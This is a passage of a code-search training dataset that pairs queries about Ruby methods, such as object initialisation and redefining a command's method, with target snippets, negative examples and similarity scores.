"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] |
0.0
|
-1
|
initialize as the function that "boots up" each object the class creates.
|
def initialize(name, age)
# we use @ before a variable to signify that
# it's an instance variable
@name = name
@age = age
@@people_count += 1
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def boot_classes!\n # very fiddly chicken 'n egg problem. Functions need to be in the right order, and in fact we have to define some \n # dummies, just for the other to compile\n obj = get_or_create_class :Object\n [:index_of , :_get_instance_variable , :_set_instance_variable].each do |f|\n obj.add_instance_method Builtin::Object.send(f , @context)\n end\n obj = get_or_create_class :Kernel\n # create main first, __init__ calls it\n @main = Builtin::Kernel.send(:main , @context)\n obj.add_instance_method @main\n underscore_init = Builtin::Kernel.send(:__init__ , @context) #store , so we don't have to resolve it below\n obj.add_instance_method underscore_init\n [:putstring,:exit,:__send].each do |f|\n obj.add_instance_method Builtin::Kernel.send(f , @context)\n end\n # and the @init block in turn _jumps_ to __init__\n # the point of which is that by the time main executes, all is \"normal\"\n @init = Virtual::Block.new(:_init_ , nil )\n @init.add_code(Register::RegisterMain.new(underscore_init))\n obj = get_or_create_class :Integer\n [:putint,:fibo].each do |f|\n obj.add_instance_method Builtin::Integer.send(f , @context)\n end\n obj = get_or_create_class :String\n [:get , :set , :puts].each do |f|\n obj.add_instance_method Builtin::String.send(f , @context)\n end\n obj = get_or_create_class :Array\n [:get , :set , :push].each do |f|\n obj.add_instance_method Builtin::Array.send(f , @context)\n end\n end",
"def bootstrap_init\n end",
"def initialize\n initialize!\n end",
"def initialize\n initialize!\n end",
"def initialize(...)\n super\n mon_initialize\n end",
"def initialize #everytie an instance of the class is initialized, we should push it into the @@all class variable\n @@all << self\n end",
"def pre_initialize; end",
"def initialize\n puts \"constructor is automatically called when we create object\"\n end",
"def init; end",
"def init; end",
"def init; end",
"def init; end",
"def initialize\n @awesome_methods = {}\n \n # Check if we're bootstraping. During this process\n # the runtime is not fully initialized and core classes\n # do not yet exists, so we defer setting the object class\n # once this is all done.\n # This solves the chiken and egg problem with the Class class.\n # We can initialize Class then set Class.class = Class.\n if defined?(Runtime)\n awesome_class = Runtime[\"Class\"]\n else\n awesome_class = nil\n end\n \n super(awesome_class)\n end",
"def initialize(*args, &blk)\n setup(*args, &blk)\n end",
"def auto_initialize!\n # noop by default\n end",
"def init\n end",
"def init\n end",
"def init\n end",
"def initialize() end",
"def init; end",
"def init\n\n end",
"def initialize\n\n\n\n end",
"def pre_initialize\n end",
"def initialize(*args)\n super\n mon_initialize\n end",
"def init\n\nend",
"def pre_initialize( *args, & block )\n # call to super in case we extend Class or Module, so we can stack calls to pre_initialize\n super if defined?( super )\n # nothing here - subclasses define\n end",
"def initialize_classes_and_modules\n @classes = {}\n @modules = {}\n end",
"def at_init\n\n\t\tend",
"def initialize\n\t\t\n\tend",
"def initialize \n # Keep track of hooks and what object owns what\n @hooks = {}\n @cmds = {}\n @modules = {}\n\n # Prevent access to hooks when other things are\n # editing or using them.\n @hooks_mutex = Mutex.new\n end",
"def initialize(objects = nil)\n Aethyr::Extend::HandlerRegistry.handle(self)\n\n @soft_restart = false\n @storage = StorageMachine.new\n @uptime = Time.new.to_i\n @future_actions = PriorityQueue.new\n @pending_actions = PriorityQueue.new\n\n unless objects\n @cancelled_events = Set.new\n\n log \"Loading objects from storage...\"\n @game_objects = @storage.load_all(false, CacheGary.new(@storage, self))\n log \"#{@game_objects.length} objects have been loaded.\"\n\n @calendar = Calendar.new\n\n @event_handler = EventHandler.new(@game_objects)\n\n @running = true\n else\n @game_objects = objects\n end\n end",
"def driver_initialize\n\t\t#Driver initialization happens here.\n\t\tdriver = Driver::new\n\t\tdriver.seed = rand(100)\n\t\tdriver.my_initialize\n\t\tdriver\n\tend",
"def initialize\n init\n end",
"def initialize()\n\tend",
"def initialize()\n\tend",
"def initialize\nend",
"def my_initialize\n\t\t@classes = 1\n\t\t@toys = 0\n\t\t@books = 0\t\t\n\t\tsrand seed.to_i\n\t\t@location = nil\n\t\tnext_spot()\n\t\t@random_number = 0\n\t\ttrue\n\tend",
"def initialize\n # complete\n end",
"def initialize\n \n end",
"def initialize()\r\n\r\n end",
"def initialize(window)\n \t# all setup is done in reset so it can be reused\n reset(window)\n end",
"def initialize\n\n\tend",
"def initialize\n\n\tend",
"def initialize\n\tinit\n\tsuper\nend",
"def initialize\n\nend",
"def initialize()\n\n end",
"def before_initialize(&block); end",
"def initialize\r\n init_public_members\r\n init_private_members\r\n end",
"def init( initMapping = [] )\n\tclear\n\tinitMapping.reverse_each do | objKlass, soapKlass, factory, info |\n \t add( objKlass, soapKlass, factory, info )\n \tend\n end",
"def initialize(*args, &block)\n self.__init_core(block, *args)\n end",
"def class_init\n @environments_by_name = {}\n @environments = []\n end",
"def initialize\n \n end",
"def initialize\n \n end",
"def initialize()\n end",
"def initialize()\n end",
"def initialize()\n end",
"def initialize()\n end",
"def initialize()\n end",
"def initialize()\n end",
"def initialize()\n end",
"def initialize()\n end",
"def initialize()\n\t\t@@obj_count += 1\n\tend",
"def init(&block)\n @inits << block\n end",
"def init(&block)\n @inits << block\n end",
"def initialize!\n load_passenger\n initialize_ush_api\n initialize_debugging\n undo_bundler\n end",
"def after_initialize(&block); end",
"def initialize()\n\t\tend",
"def Init()\n end",
"def post_init\n end",
"def initialize\n\n\nend",
"def post_initialize\n end",
"def setup!\n setup_instance_methods!\n self\n end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize\n greeting\n init_players\n end",
"def initialize(self)\n self.objects = []\n self.agents = []\n end",
"def initialize(*) end",
"def initialize(*) end",
"def initialize(*) end",
"def initialize(*) end",
"def initialize(*) end",
"def initialize(cellar, bottle)\n @cellar = cellar\n @bottle = bottle\n self.add_to_cellar_key(cellar)\n self.add_to_bottle_key(bottle)\n @@all << self\nend",
"def user_init; end",
"def post_init\n end",
"def initialize()\n end",
"def initialize_environment\n end",
"def initialize_environment\n end",
"def start\n\t\tinit\n\t end",
"def initialize\n set_root_path!\n \n self.frameworks = default_frameworks\n self.autoload_paths = default_autoload_paths\n self.autoload_once_paths = default_autoload_once_paths\n self.dependency_loading = default_dependency_loading\n self.eager_load_paths = default_eager_load_paths\n self.log_path = default_log_path\n self.log_level = default_log_level\n self.binder_paths = default_binder_paths\n self.marshal_path = default_marshal_path\n self.cache_classes = default_cache_classes\n self.whiny_nils = default_whiny_nils\n self.database_configuration_file = default_database_configuration_file\n self.app_config_file = default_app_config_file\n self.plugin_glob = default_plugin_glob\n self.helper_glob = default_helper_glob\n self.initializer_glob = default_initalizer_glob\n self.first_run_glob = default_first_run_glob\n self.publisher = default_publisher\n self.copyright = default_copyright\n \n for framework in default_frameworks\n self.send(\"#{framework}=\", Bowline::OrderedOptions.new)\n end\n end",
"def post_initialize( *args, & block )\n # call to super in case we extend Class or Module, so we can stack calls to post_initialize\n super if defined?( super )\n # nothing here - subclasses define\n end",
"def initialize(obj); end",
"def initialize # hook/callback/lifecycle event: because it is a method automatically fired by another method\n self.cry # explicit receiver of self - same as line below\n cry # implicit receiver of self - same as line above\n # Ruby will first check cry as a variable; when that fails, Ruby will assume it is a method on the class itself - implied \"self\"\n @birthdate = Time.now\n @@all << self # How does an object refer to itself? self! stores object ID\n end"
] |
[
"0.72306347",
"0.7181746",
"0.69755507",
"0.69755507",
"0.6959519",
"0.69363785",
"0.69121456",
"0.6910568",
"0.68861943",
"0.68861943",
"0.68861943",
"0.68861943",
"0.6863431",
"0.685854",
"0.68149334",
"0.67215294",
"0.67215294",
"0.67215294",
"0.67088175",
"0.6700901",
"0.6693328",
"0.66585666",
"0.6625119",
"0.6616479",
"0.6615002",
"0.6591354",
"0.65781915",
"0.6535197",
"0.65225136",
"0.6509629",
"0.6499353",
"0.64942974",
"0.64937574",
"0.647777",
"0.647777",
"0.64728427",
"0.6471368",
"0.6458127",
"0.6434779",
"0.64308465",
"0.6430597",
"0.64294976",
"0.64294976",
"0.6419006",
"0.6406462",
"0.6401407",
"0.6392566",
"0.6381801",
"0.6381388",
"0.637151",
"0.6371069",
"0.63613296",
"0.63613296",
"0.63590026",
"0.63590026",
"0.63590026",
"0.63590026",
"0.63590026",
"0.63590026",
"0.63590026",
"0.63590026",
"0.6331023",
"0.6328567",
"0.6328567",
"0.63274693",
"0.63238305",
"0.6320182",
"0.6318821",
"0.6301382",
"0.629932",
"0.62963206",
"0.62949234",
"0.6293153",
"0.6293153",
"0.6293153",
"0.6293153",
"0.6293153",
"0.6293153",
"0.6293153",
"0.6293153",
"0.6293153",
"0.6293153",
"0.6293153",
"0.62916315",
"0.6289192",
"0.6273217",
"0.6273217",
"0.6273217",
"0.6273217",
"0.6273217",
"0.6271531",
"0.62691486",
"0.6261389",
"0.625924",
"0.62572086",
"0.62572086",
"0.62463224",
"0.62441814",
"0.6242167",
"0.62403125",
"0.6236569"
] |
0.0
|
-1
|
Redefines an object's method with a Command of the same name.
|
def redefine_command(obj, command)
cmd_block = redefine_command_block(obj, command)
@no_option_commands << command if command.options.nil?
[command.name, command.alias].compact.each {|e|
obj.singleton_class.send(:define_method, e, cmd_block)
}
rescue Error
warn "Error: #{$!.message}"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def redefine_command(obj, command)\n cmd_block = redefine_command_block(obj, command)\n @no_option_commands << command if command.options.nil?\n [command.name, command.alias].compact.each {|e|\n obj.instance_eval(\"class<<self;self;end\").send(:define_method, e, cmd_block)\n }\n end",
"def redefine_command_block(obj, command)\n object_methods(obj)[command.name] ||= begin\n obj.method(command.name)\n rescue NameError\n raise Error, \"No method exists to redefine command '#{command.name}'.\"\n end\n lambda {|*args|\n Scientist.analyze(obj, command, args) {|args|\n Scientist.object_methods(obj)[command.name].call(*args)\n }\n }\n end",
"def create_command(meth)\n if meth == \"perform\"\n alias_method command_name, meth\n else\n # Prevent exception about command without usage.\n # Some commands define their documentation differently.\n @usage ||= meth\n @desc ||= \"\"\n\n super\n end\n end",
"def method_missing(method, *args, &block)\n commands.send(method, *args, &block)\n end",
"def add_command(meth)\n @@commands.delete(:help)\n \n if @@attribute\n argument_list = \"value\"\n meth = meth.to_s.delete(\"=\").to_sym if @@attribute == :attr_writer\n else\n argument_list = parse_arguments(@@command_options[:parameters])\n end\n @@command_options.merge!(:argument_list=>argument_list,:class => self.name)\n \n @@commands.merge!(meth => @@command_options)\n @@default_method = {meth => @@command_options} if @@command_options[:default]\n\n @@commands.sort.each {|com| @@commands.merge!(com[0]=>@@commands.delete(com[0]))}\n \n @@commands.merge!(HELP_COMMAND.dup) # makes sure the help command is always last\n @@command_options = nil\n @@attribute = nil\n end",
"def method_missing name, *args, &block\n Baldrick::Command.instance.respond_to?(name) ? Baldrick::Command.instance.send(name, *args, &block) : super(name, args) \n end",
"def redefine_command_block(obj, command)\n lambda {|*args|\n Boson::Scientist.translate_and_render(obj, command, args) {|args| super(*args) }\n }\n end",
"def cmd!(command)\n self << command\n end",
"def newcommand(options, &block)\n raise \"No name given in command\" unless options.include?(:name)\n\n command = options[:name]\n\n SLAF::Commands.module_eval {\n define_method(\"#{command}_command\", &block)\n }\n\n SLAF::command_options || SLAF.command_options = {}\n\n if options.include?(:allow_arguments)\n SLAF::command_options[command] = options[:allow_arguments]\n else\n SLAF::command_options[command] = false\n end\nend",
"def method_missing(m, *args, &block)\n @commands.send(m, *args, &block)\n end",
"def commandalias(command, a)\r\n\t\t\t@commands[a] = @commands[command]\r\n\t\tend",
"def set_commands; end",
"def command\n raise NotImplementedError, \"`command' is not implemented by #{self.class.name}\"\n end",
"def command(name)\n commands[name]\n end",
"def command(name)\n commands[name]\n end",
"def command(name)\n commands[name]\n end",
"def default_command(name)\n abstract!\n end",
"def command\n @command ||= Class.new.send(:include, Command)\n end",
"def add_original_commands; end",
"def default_command(command)\n @@default_command = command.to_sym\n end",
"def cmd(command, *arguments) Command.send(command.to_sym, *arguments) end",
"def method_missing(method_name, *arguments, &block)\n if @command_executor.respond_to?(method_name)\n @command_executor.send(method_name, *arguments)\n else\n super(method_name, *arguments, &block)\n end\n end",
"def add_original_commands\n end",
"def command name\n @commands[name]\n end",
"def set_commands\n super\n @commands['clear'] = ConsoleCommand_Clear.new(self)\n @commands['confirm'] = ConsoleCommand_Confirm.new(self)\n end",
"def command(cmd_name)\n cmd = Command.new(cmd_name, self)\n yield cmd\n @commands[cmd_name] = cmd\n end",
"def supercommand!() __supercommand__ end",
"def add_command(command, prefix=\"purugin\")\n old_command = command_map.get_command(command.name)\n if old_command\n command.infect(old_command)\n else\n command_map.register prefix, command\n end\n end",
"def command!(name)\n found = command(name)\n\n if found.nil?\n raise CommandNotFound.new(name, self)\n end\n\n found\n end",
"def reset_commands\n @commands = {}\n end",
"def assignAsCommander _obj, _args\n \"_obj assignAsCommander _args;\" \n end",
"def method_missing(command_name, *args)\n command command_name, *args\n end",
"def command(name, help, &b)\r\n\t\t\t@commands[name] = Command.new(name, help, &b)\r\n\t\tend",
"def command(name, case_sensitive = false, &block)\n commands[name.to_s] = { :case_sensitive => case_sensitive, :block => block }\n end",
"def remove_command(name)\n @commands ||= {}\n @commands.delete name\n end",
"def add_command(name, handler)\n @commands[name] = handler\n end",
"def commandMove _obj, _args\n \"_obj commandMove _args;\" \n end",
"def restore_instance_method(name)\n if respond_to?(\"#{METHOD_BACKUP_KEY}#{name}\")\n meta_eval {\n alias_method name, \"#{METHOD_BACKUP_KEY}#{name}\"\n remove_method \"#{METHOD_BACKUP_KEY}#{name}\"\n }\n end\n end",
"def command\n raise NotImplementedError\n end",
"def add_commands\n end",
"def redefine_method(method, &block)\n remove_possible_method(method)\n define_method(method, &block)\n end",
"def command(command_text)\n @command_text = command_text\n end",
"def command(name)\n return @commands[name]\n end",
"def do(full_command)\n self.command = Command.new\n if command.valid?(full_command) && already_placed?\n case command.command\n when Command::WHITE_LIST[0] # PLACE\n place\n report {|msg| $log.info msg}\n when Command::WHITE_LIST[1] # MOVE\n move\n report {|msg| $log.info msg}\n when Command::WHITE_LIST[2] # RIGHT\n right\n report {|msg| $log.info msg}\n when Command::WHITE_LIST[3] # LEFT\n left\n report {|msg| $log.info msg}\n when Command::WHITE_LIST[4] # REPORT\n report {|msg| $log.info msg}\n report {|msg| puts msg}\n end\n else\n puts error\n end\n end",
"def call(*command)\n @commands << command\n end",
"def camCommand _obj, _args\n \"_obj camCommand _args;\" \n end",
"def command cmd, help = \"\", &blk\n Bot::Commands.create self, cmd, help, &blk\n end",
"def stow_existing_definition(method_name)\n @methods_proxied << method_name\n new_alias = create_alias_for_existing_method(method_name)\n if new_alias\n my_object = @obj\n @method_definitions[method_name] = Proc.new { |*args|\n block = nil\n if Proc === args.last\n block = args.last\n args = args[0...-1]\n end\n my_object.send(new_alias, *args, &block)\n }\n end\n remove_current_method(method_name) if singleton?(method_name)\n end",
"def commandFire _obj, _args\n \"_obj commandFire _args;\" \n end",
"def command(*cmd_parameters)\n\n @@attribute = nil\n @@method_file = nil\n @@method_line = nil\n @@command_options = {}\n \n # Include Commandable in singleton classes so class level methods work\n include Commandable unless self.include? Commandable\n \n # parse command parameters\n while (param = cmd_parameters.shift)\n case param\n when Symbol\n if param == :xor\n @@command_options.merge!(param=>:xor)\n else\n @@command_options.merge!(param=>true)\n end\n when Hash\n @@command_options.merge!(param)\n when String\n @@command_options.merge!(:description=>param)\n end\n end\n @@command_options[:priority] ||= 0\n \n # only one default allowed\n raise ConfigurationError, \"Only one default method is allowed.\" if @@default_method and @@command_options[:default]\n \n set_trace_func proc { |event, file, line, id, binding, classname|\n\n @@attribute = id if [:attr_accessor, :attr_writer].include?(id)\n \n # Traps the line where the method is defined so we can look up \n # the method source code later if there are optional parameters\n if event == \"line\" and !@@method_file\n @@method_file = file\n @@method_line = line\n end\n \n # Raise an error if there is no method following a command definition\n if event == \"end\"\n set_trace_func(nil)\n raise SyntaxError, \"A command was specified but no method follows\"\n end\n }\n end",
"def set_command(slot, on_command, off_command)\n @on_commands[slot] = on_command\n @off_commands[slot] = off_command\n end",
"def set_command(slot, on_command, off_command)\n @on_commands[slot] = on_command\n @off_commands[slot] = off_command\n end",
"def method_missing(symbol, *args)\n guessed_command_name = symbol.to_s.gsub('_','-')\n\n if MOGRIFY_COMMANDS.include?(guessed_command_name)\n args.push(@path) # push the path onto the end\n run_command(\"mogrify\", \"-#{guessed_command_name}\", *args)\n self\n else\n super(symbol, *args)\n end\n end",
"def with_command(*cmd)\n @commands.concat cmd.compact\n self\n end",
"def normalize_command_name(meth) #:nodoc:\n return default_command.to_s.tr(\"-\", \"_\") unless meth\n\n possibilities = find_command_possibilities(meth)\n raise AmbiguousTaskError, \"Ambiguous command #{meth} matches [#{possibilities.join(', ')}]\" if possibilities.size > 1\n\n if possibilities.empty?\n meth ||= default_command\n elsif map[meth]\n meth = map[meth]\n else\n meth = possibilities.first\n end\n\n meth.to_s.tr(\"-\", \"_\") # treat foo-bar as foo_bar\n end",
"def /(command_name)\n command_name = command_name.to_s unless command_name.nil?\n cls = Class.new { include GitFlow::Mixin }\n (class << cls; self; end).module_eval do\n attr_accessor :help, :documentation, :command\n define_method(:/) do |subcommand|\n raise \"Subcommand cannot be nil\" unless subcommand\n GitFlow/([command_name, subcommand].compact.join(' '))\n end\n define_method(:inherited) do |subclass|\n subclass.command = command_name\n GitFlow.commands[command_name] = subclass\n end\n end\n cls\n end",
"def commands\n raise NotImplementedError, \"`command' is not implemented by #{self.class.name}\"\n end",
"def refresh\n @commands.each_with_index { |command, index| set_command(index, command, true) }\n end",
"def command(cmd)\n \"do_#{cmd}\".intern\n end",
"def process_command(command)\n (command, args) = command.split(/\\s+/, 2)\n command = command.downcase.to_sym\n\n self.send(command, args) if self.public_methods.include? command\n end",
"def around_method name, &block\n original_method = instance_method name\n _redefine_method name do |*args|\n instance_exec original_method, *args, &block\n end \n end",
"def set_command(index, new_command, force = false)\n return if @commands[index] == new_command and !force\n @commands[index] = new_command\n rect = command_rect(index)\n self.contents.clear_rect(rect)\n new_command.keys.each_with_index { |key, i|\n draw_key_icon(key, rect.x + ICON_WIDTH * i, rect.y, new_command.enabled?)\n }\n rect.x += ICON_WIDTH * new_command.keys.size\n rect.width -= (ICON_WIDTH * new_command.keys.size)\n change_color(normal_color, new_command.enabled?)\n draw_text(rect, new_command.text)\n end",
"def command(name,aliases,desc,long_desc,arg_name,arg_options)\n abstract!\n end",
"def as new_method_name\n @new_method_name = new_method_name\n\n self\n end",
"def define_command name, opts = nil, &blk\n opts = _take_doc(opts)\n # $stderr.puts \"@target = #{@target.inspect}\"\n # $stderr.puts \"define_command #{name.inspect}, #{opts.inspect}\"\n\n cmd = _command_manager.define_command(name, opts, &blk)\n\n cmd._defined_in = @plugin\n\n @plugin.commands << cmd\n\n cmd\n end",
"def initialize command\n @command = command\n end",
"def __subcommand__!() @__subcommand__ end",
"def commandalias(command, a)\r\n\t$gamemode.commandalias(command, a)\r\nend",
"def command_factory\n end",
"def register_command cmd\n $commandlist << cmd\nend",
"def subcommand!() __subcommand__! end",
"def command(key)\n keys = configuration.instance.keys\n cmd = eval \"#{keys}.#{key}\"\n cmd.capitalize! << \"Command\"\n case cmd\n when /QuitCommand/\n QuitCommand.new(@terminal)\n else\n NoOpCommand.new\n end\n end",
"def formulate_command\n @command\n end",
"def execute_command(command_class, method, args = [])\n command_class.new.send(method, *args)\n end",
"def command(type)\n end",
"def set_command\n @command = Command.find(params[:id])\n end",
"def method_missing(cmd, *args)\n command(cmd.to_s, *args)\n end",
"def subcommands!() __subcommands__! end",
"def cmd(name, options = {}, &block)\n raise \"Command already exists: #{name}\" if $bot[:commands].include? name\n raise \"Command name does not contain only alphanumerical characters\" unless name.to_s.match /\\A[A-Za-z0-9]+\\z/\n\n opts = {\n admin: true\n }.merge(options)\n\n $bot[:commands][name] ||= {\n admin: opts[:admin],\n block: block\n }\n end",
"def register_command(cmd)\n registered_commands << cmd\n\n self\n end",
"def __subcommands__!()\n ::Algorithm.follow(self.__subcommand__!, :__subcommand__!).to_a\n end",
"def do_invocation()\n obj = get_receiver_object\n if obj.nil?\n Undef\n else\n begin\n obj.send(@name)\n rescue NameError\n Undef\n end\n end\n end",
"def command; end",
"def command; end",
"def command; end",
"def command; end",
"def command; end",
"def command; end",
"def set_command\n @command = Command.find(params[:id])\n end",
"def set_command\n @command = Command.find(params[:id])\n end",
"def set_command\n @command = Command.find(params[:id])\n end",
"def unlink(original_method)\n define_method(original_method)\n end",
"def commander name, options = {}\n define_method :commander do\n instance_variable_get(\"@commander\") || begin\n clazz = \"Commanders::#{name.to_s.camelize}\".constantize \n instance_variable_set \"@commander\", clazz.new(self, options)\n end\n end\n end",
"def add_commands(option_parser, obj)\n Hash(@available_commands).each do |method_name, options|\n option_parser.on(*options, &obj.method(method_name))\n end\n end",
"def redefine_method(name, &block)\n if instance_methods(false).any? {|x| x.to_s == name.to_s }\n method = instance_method(name)\n mod = Module.new do\n define_method(name) {|*args| method.bind(self).call(*args) }\n end\n remove_method(name)\n include(mod)\n end\n include(Module.new { define_method(name, &block) })\n end",
"def execute(command)\n @command = command\n self\n end",
"def restore_original_definition(method_name)\n method_def = @method_definitions[method_name]\n if method_def\n the_alias = new_name(method_name)\n sclass.class_eval do\n alias_method(method_name, the_alias)\n end\n end\n end",
"def commands\n abstract!\n end",
"def commands\n @@commands.dup\n end",
"def dispatch_method_names(command, type = 'bot')\n [type + '_' + command.join('_').downcase,\n type + '_' + command.first.downcase]\n end"
] |
[
"0.8310975",
"0.7890691",
"0.6899113",
"0.66847795",
"0.6453737",
"0.641819",
"0.6383475",
"0.6363545",
"0.6350759",
"0.6343646",
"0.62662417",
"0.62594396",
"0.6251353",
"0.62326586",
"0.62326586",
"0.62326586",
"0.62010646",
"0.6198705",
"0.61512995",
"0.6123135",
"0.61216736",
"0.6096813",
"0.6091766",
"0.60911536",
"0.6071963",
"0.60691",
"0.6033732",
"0.6033154",
"0.60210615",
"0.60109174",
"0.5997061",
"0.59899443",
"0.5987152",
"0.59809065",
"0.5966548",
"0.59378374",
"0.5934674",
"0.5929775",
"0.5922303",
"0.59196556",
"0.5917635",
"0.5915523",
"0.5912935",
"0.58990544",
"0.58956146",
"0.58926386",
"0.58893913",
"0.5879711",
"0.58725333",
"0.58650297",
"0.5863237",
"0.5863237",
"0.58623636",
"0.58580166",
"0.58436775",
"0.5835626",
"0.58323765",
"0.5832144",
"0.58283746",
"0.5811143",
"0.58072853",
"0.5803473",
"0.57942337",
"0.57925564",
"0.5779386",
"0.57778",
"0.5773095",
"0.57640564",
"0.5750044",
"0.57495517",
"0.57365555",
"0.57309395",
"0.57282275",
"0.5722585",
"0.5713313",
"0.57129264",
"0.5710762",
"0.57105756",
"0.5699692",
"0.56858516",
"0.5685718",
"0.5685487",
"0.5685323",
"0.5685323",
"0.5685323",
"0.5685323",
"0.5685323",
"0.5685323",
"0.56759775",
"0.56759775",
"0.56759775",
"0.5668656",
"0.5666177",
"0.56588787",
"0.5657199",
"0.5652364",
"0.5648336",
"0.5634965",
"0.56333137",
"0.5630775"
] |
0.81944
|
1
|
The actual method which redefines a command's original method
|
def redefine_command_block(obj, command)
object_methods(obj)[command.name] ||= begin
obj.method(command.name)
rescue NameError
raise Error, "No method exists to redefine command '#{command.name}'."
end
lambda {|*args|
Scientist.analyze(obj, command, args) {|args|
Scientist.object_methods(obj)[command.name].call(*args)
}
}
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def add_original_commands; end",
"def add_original_commands\n end",
"def supercommand!() __supercommand__ end",
"def original_run_command; end",
"def original_method; end",
"def redefine_command(obj, command)\n cmd_block = redefine_command_block(obj, command)\n @no_option_commands << command if command.options.nil?\n [command.name, command.alias].compact.each {|e|\n obj.singleton_class.send(:define_method, e, cmd_block)\n }\n rescue Error\n warn \"Error: #{$!.message}\"\n end",
"def redefine_command(obj, command)\n cmd_block = redefine_command_block(obj, command)\n @no_option_commands << command if command.options.nil?\n [command.name, command.alias].compact.each {|e|\n obj.instance_eval(\"class<<self;self;end\").send(:define_method, e, cmd_block)\n }\n end",
"def original_run_command=(_arg0); end",
"def redefine_command_block(obj, command)\n lambda {|*args|\n Boson::Scientist.translate_and_render(obj, command, args) {|args| super(*args) }\n }\n end",
"def original; end",
"def create_command(meth)\n if meth == \"perform\"\n alias_method command_name, meth\n else\n # Prevent exception about command without usage.\n # Some commands define their documentation differently.\n @usage ||= meth\n @desc ||= \"\"\n\n super\n end\n end",
"def command; end",
"def command; end",
"def command; end",
"def command; end",
"def command; end",
"def command; end",
"def command\n raise NotImplementedError, \"`command' is not implemented by #{self.class.name}\"\n end",
"def __subcommand__!() @__subcommand__ end",
"def command\n raise NotImplementedError\n end",
"def default_command(name)\n abstract!\n end",
"def set_commands; end",
"def command(name,aliases,desc,long_desc,arg_name,arg_options)\n abstract!\n end",
"def subcommand!() __subcommand__! end",
"def command\n fail 'Not implemented.'\n end",
"def subcommand() __subcommand__ end",
"def method_missing(method, *args, &block)\n super unless original_self\n original_self.send method, *args, &block\n end",
"def method_missing name, *args, &block\n Baldrick::Command.instance.respond_to?(name) ? Baldrick::Command.instance.send(name, *args, &block) : super(name, args) \n end",
"def call_internal(command,args)\n return @commands[command].clone.run(args)\n end",
"def process_ok\n @@last_command_symbol = current_symbol\n super\n end",
"def process_ok\n @@last_command_symbol = current_symbol\n super\n end",
"def process_ok\n @@last_command_symbol = current_symbol\n super\n end",
"def process_ok\n @@last_command_symbol = current_symbol\n super\n end",
"def commands\n abstract!\n end",
"def cmd; end",
"def cmd!(command)\n self << command\n end",
"def exec_fix\n super\n end",
"def special\n override\n end",
"def parent_command; end",
"def __subcommands__!()\n ::Algorithm.follow(self.__subcommand__!, :__subcommand__!).to_a\n end",
"def commands; end",
"def subcommands!() __subcommands__! end",
"def command_builder; end",
"def modify\n super\n end",
"def method_missing(sym, *args, &block)\n @original_self.send(sym, *args, &block)\n end",
"def local_action(command, id, action)\n super(command,id,ACTION[action])\n end",
"def command_name; end",
"def execute_hook(command); end",
"def subcommands() __subcommands__ end",
"def restart_command(cmd); end",
"def method_missing(symbol, *args)\n guessed_command_name = symbol.to_s.gsub('_','-')\n\n if MOGRIFY_COMMANDS.include?(guessed_command_name)\n args.push(@path) # push the path onto the end\n run_command(\"mogrify\", \"-#{guessed_command_name}\", *args)\n self\n else\n super(symbol, *args)\n end\n end",
"def __subcommand__() @__subcommand__&.__ident__ end",
"def call\n raise NotImplementedError, 'Lotion::Command subclasses are expected to define #call'\n end",
"def add_commands\n end",
"def formulate_command\n @command\n end",
"def command(type)\n end",
"def add_command(meth)\n @@commands.delete(:help)\n \n if @@attribute\n argument_list = \"value\"\n meth = meth.to_s.delete(\"=\").to_sym if @@attribute == :attr_writer\n else\n argument_list = parse_arguments(@@command_options[:parameters])\n end\n @@command_options.merge!(:argument_list=>argument_list,:class => self.name)\n \n @@commands.merge!(meth => @@command_options)\n @@default_method = {meth => @@command_options} if @@command_options[:default]\n\n @@commands.sort.each {|com| @@commands.merge!(com[0]=>@@commands.delete(com[0]))}\n \n @@commands.merge!(HELP_COMMAND.dup) # makes sure the help command is always last\n @@command_options = nil\n @@attribute = nil\n end",
"def call(*command); end",
"def method_missing(name, *args, &_block)\n modifying_method = \"#{name}!\"\n return mutate_clone(modifying_method.to_sym, args) if self.respond_to?(modifying_method)\n super\n end",
"def send_command(command)\n @last_command_time = Time.now\n super\n end",
"def command_factory\n end",
"def reverse_execution()\n\t\traise \"subclass must implement reverse_execution()\"\n\tend",
"def method_missing(method, *args, &block)\n commands.send(method, *args, &block)\n end",
"def commands\n raise NotImplementedError, \"`command' is not implemented by #{self.class.name}\"\n end",
"def send command\n raise Error.new('implement me via subclass')\n end",
"def unlink(original_method)\n define_method(original_method)\n end",
"def invoke_original(method, args)\n method_proc = @method_definitions[method]\n method_proc.call(*args)\n end",
"def command_name=(_arg0); end",
"def end_command(name)\n abstract!\n end",
"def around_method name, &block\n original_method = instance_method name\n _redefine_method name do |*args|\n instance_exec original_method, *args, &block\n end \n end",
"def original_method(obj, meth, klass=Object)\n klass.instance_method(meth).bind(obj).call\n end",
"def original_method(obj, meth, klass=Object)\n klass.instance_method(meth).bind(obj).call\n end",
